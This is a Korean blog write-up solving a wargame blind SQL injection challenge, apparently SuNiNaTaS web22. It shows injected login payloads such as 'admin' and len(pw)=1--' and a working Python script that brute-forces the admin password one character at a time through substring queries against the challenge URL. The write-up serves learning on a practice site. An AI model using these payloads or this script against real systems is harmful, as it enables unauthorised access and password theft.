블라인드 SQL 인젝션을 이용한 문제
힌트를 보면 guest / geust
그리고 나의 목표는 admin의 비밀번호를 알아내는 것이라고 한다.
guest를 입력하자 ok guest라고 잘 나오는것을 확인
이번엔 admin에 임의의 비밀번호를 입력해보겠다.
틀렸을때는 False라고 나온다.
이제 쿼리문을 입력해볼건데 우선 필터링되는 키워드에 and는 없으므로 and를 이용해보겠다.
admin' and len(pw)=1--를 입력해 1부터 차례대로 길이를 알아내기 위해 진행하겠음.
쿼리문을 통해 알아낸 결과 패스워드의 길이는 10이다.
이를 바탕으로 파이썬프로그램을 짜보았다.
import requests
url = "http://suninatas.com/challenge/web22/web22.asp"
s = requests.Session()
pwlen = 10
pw=""
for i in range(1, pwlen + 1) :
for j in range(32, 127) :
param = "?id=admin' and substring(pw," + str(i) + ", 1)='" + chr(j) + "'--&pw=1"
requrl = url + param
request = s.get(requrl)
if("OK" in request.text):
pw += chr(j)
print("pw = ", pw)
break
print("\nadmin pw is", pw)
위에 내가직접 패스워드 길이를 알아낸 방법 말고
파이썬을 이용해서도 할 수 있겠지만 암튼
param에 id=admin and substring(pw, i, 1)='j에 해당하는 문자'--&pw=1 이 들어가게돼서
아스키코드 32에서 127에 해당하는 모든 문장을 검사하게 된다.
실행하게 되면
이렇게 패스워드를 구하는 과정과함께 패스워드를 알 수 있다.
코드를 작성하다가 한가지 궁금증
처음에 for i 부분의 range를 range(0, pwlen)으로 했을때는 pw = 하고 공백이 하나 먼저 출력된다. 이유가 뭘까?
sql은 문자열 인덱스가 1부터 시작하는가?
구글링을 해본 결과
Oracle의 경우에는 substr을 사용함에 있어 시작위치 0과 1을 같은 취급 한다고 한다.
하지만 이 문제의 경우 substring을 사용하는 걸로 보아 오라클을 사용하고 있지 않은데 MySQL은 어떤지 또 검색했다.
내가 맞게 이해한건진 모르겠지만 참고한 스택오버플로우 링크
대충 요약하자면 아무튼 sql에서 substr은 1번째부터 라고 생각하면 되는듯하다(헷갈려...)
얻어낸 비밀번호로 admin을 로그인해보면 맞다는걸 확인할 수 있다.
로그인하면 키가 나오는줄 알았는데 패스워드 자체가 키였다^^... ㅋㅋㅋㅋ
'문제풀이 > 보안 writeup' 카테고리의 다른 글
wargame.kr [SimpleBoard] (0) | 2021.07.03 |
---|---|
[root-me] NoSQL Injection - Authentication (0) | 2021.07.02 |
SuNiNaTaS(써니나타스) 4번 (0) | 2021.07.01 |
SuNiNaTaS(써니나타스) 7번 (0) | 2021.05.24 |
webhacking.kr 39번 (0) | 2021.04.08 |